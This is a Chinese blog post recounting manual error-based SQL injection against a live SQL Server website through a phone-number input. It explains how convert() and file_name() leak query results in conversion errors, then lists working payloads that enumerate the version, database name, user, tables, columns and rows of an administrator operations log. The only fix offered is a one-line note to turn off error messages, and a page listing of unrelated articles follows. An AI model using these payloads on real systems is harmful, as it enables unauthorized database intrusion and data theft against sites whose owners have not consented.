前言

最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是。在这里记录一下实战过程,并详细讲解一下用到的知识点。

SQL server报错注入原理

SQL server报错注入的文章,网上有很多,大部分文章都列出了类似于公式的句子,却没有解释为什么使用这样的函数。这里用convert()函数举例,convert()函数是是将日期转换为新数据类型的通用函数。

对于咱们构造的payloadconvert(int,@@version),convert函数会先执行第二个参数指定的sql查询,并尝试转化为int类型,因为查询的结果是varchar类型,所以会转化失败报错,报错的信息当中有咱们需要的信息。

满足这样条件的函数很多,如:

convert() file_name() db_name() col_name()

还有一些其他的不列举了。

发现注入点

之前猜测是SQL server数据库,现在验证一下,发现在输入手机号的地方存在注入点,用sqlmap跑了一下没跑出来,尴尬==,那就尝试手工注入。构造payloadconvert(int,@@version),目的是查询一下版本信息。



发现是SQL server数据库

查询基本信息

知道了版本,还需要查询一下数据库名,和当前用户名(看看拥有多少权限)。

payload:

convert(int,db_name()) convert(int,user)



获取表名

这里遇到了一点小问题,继续使用convert()函数时,发现查询的内容溢出了整数列。



这可如何是好,convert()无法使用了,所以咱们前面总结的实现相同功能的函数就派上用场了。这里更换函数,使用file_name()函数,构造payload:

(file_name((select%20 top 1 name from 库名.sys.sysobjects where xtype='U')))



可以查询出第一张表,这时候可以在后面加一个条件语句and name !='上一个表名',可以查询出第二张表。

payload:

(file_name((select%20 top 1 name from 库名.sys.sysobjects where xtype='U'and name !='上一个表名')))



如果想要查询第三张表,再接着添加条件语句就可以了,可以查询出所有的表。这里就不演示了。

获取列名

payload:

(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制表名 as varchar))))



我们获取到了第一个列名"编号",接下来依然再后面添加条件语句and COLUMN_NAME != '上一个列名'就可以获取到第二个列名。

payload:

(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制表名 as varchar) and COLUMN_NAME != '上一个列名')))





按照这种方法同样可以查询出所有列名。这里就不向下查询了。

获取数据

前面我们查询到的表名有 S票据打印记录``管理员操作记录而我们获取了管理员操作记录下的列名编号管理员编号操作内容,下面我们查询操作内容下的数据。

payload:

(select top 1 列名 from 表名)



依然可以通过条件语句获取到其他的数据,这里就不在演示了。

SQL server报错注入到此为止。

修复方案

关闭错误提示

实战记录之SQL server报错手工注入的更多相关文章

  1. 安装SQl Server 报错 "需要 Microsoft.NET Framework 3.5 ServicePack 1" 解决方法

    前言 之前装Sql Server都没遇到过这样的问题, 昨天重装了系统之后, 然后安装SQl Server 报错,提示 "需要 Microsoft.NET Framework 3.5 Ser ...

  2. Python 学习笔记:Python 连接 SQL Server 报错(20009, b'DB-Lib error message 20009, severity 9)

    问题及场景: 最近需要使用 Python 将数据写到 SQL Server 数据库,但是在进行数据库连接操作时却报以下错误:(20009, b'DB-Lib error message 20009, ...

  3. sql server 报错处理

    1.错误:针对程序集 'StoreProc' 的 CREATE ASSEMBLY 失败,因为程序集 'StoreProc' 未获授权,不满足 PERMISSION_SET = UNSAFE.满足以下两 ...

  4. SQL语句报错(一)

    SQL语句报错(一) 1.具体报错如下: ORA-01861:文字格式字符串不匹配 01861. 00000 - "literal does not match format string& ...

  5. mysql5.7执行sql语句报错:In aggregated query without GROUP BY, expression #1 of SELECT list contains nonagg

    mysql5.7执行sql语句报错:In aggregated query without GROUP BY, expression #1 of SELECT list contains nonagg ...

  6. 报错记录(xml抬头报错)

    报错记录(xml抬头报错) Referenced file contains errors (http://www.springframework.org/schema/beans/spring-be ...

  7. npm run server报错

    从git上clone的vue项目npm install后npm run server报错 $ npm run dev > lufei@1.0.0 dev E:\pythonProject\luf ...

  8. 解决Mysql搭建成功后执行sql语句报错以及区分大小写问题

    刚搭建完mysql 8.0以后会: 一.表区分大小写, 二.执行正确的sql语句成功且会报:[Err] 1055 - Expression #1 of ORDER BY clause is not i ...

  9. sql注入--基于报错的注入

    这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...

随机推荐

  1. mysql 审计server_audit 模块

    server_audit模块是一个 mariadb  还是skysql 开发的一个mysql 的插件.可以做一些审计上面的工作. 众所周知,mysql 是里面是很难记录用户的操作命令的.用这个就可以. ...

  2. 浅析Block闭包

    浅析Block闭包 简单来说,block就是将函数及其上下文封装起来的对象,从功能上可以把它看作是C++中的匿名函数,也可称之为块. Block类型写法: 返回值+(^块名)+(参数)= ^(参数){ ...

  3. 9.4 Go 数据格式

    9.4 Go 数据格式 1.1. msgpack格式 官方msgpack官网用一句话总结: It’s like JSON. but fast and small. 简单来讲,它的数据格式与json类似 ...

  4. redis的参数解释

    include /path/to/local.conf 当有公用配置时,可以采用独立出公共配置文件然后引入的方式达到公共配置unixsocket /tmp/redis.sock 通过socket文件进 ...

  5. JavaScript高级技术总结

    正则表达式 正则表达式的作用  正则表达式的作用: 匹配字符串的一种规则,正则表达式的作用主要是用于匹配字符串的 需求: 校验手机号 <!DOCTYPE html> <html la ...

  6. 首字母变大写(hdu2026)

    输入方式:直接循环输入带有空格的未知长度的字符串. 思考:直接循环输入带有空格的未知长度的字符串,用while(gets_s())函数,循环内外不用getchar()函数.(注意,每次字符串以整体输入 ...

  7. python之module 'unittest' has no attribute 'TestCase' 解决方案

    脚本报错如下:  解决方案: 这是脚本名称冲突所导致的报错,修改脚本名中重新执行,运行正常 注:脚本取名最好不要与模块和方法一致,避免不必要的冲突

  8. 联通光猫管理员密码分析(HG220GS-U)

    联通光猫管理员密码分析 联通光猫型号:HG220GS-U软件版本:E00L3.03 运营商一直在做光猫防破解,对抗升级还是比较快的,所有的分析结论都和版本绑定的,因为运营商或者路由器的开发商看到后可能 ...

  9. Robot Framework(3)- 基本概念

    如果你还想从头学起Robot Framework,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1770899.html 前言 在 RF ...

  10. window端口被占用

    一.问题描述 今天一来公司,在IntelliJ IDEA 中启动Tomcat服务器时就出现了如下图所示的错误: 错误: 代理抛出异常错误: java.rmi.server.ExportExceptio ...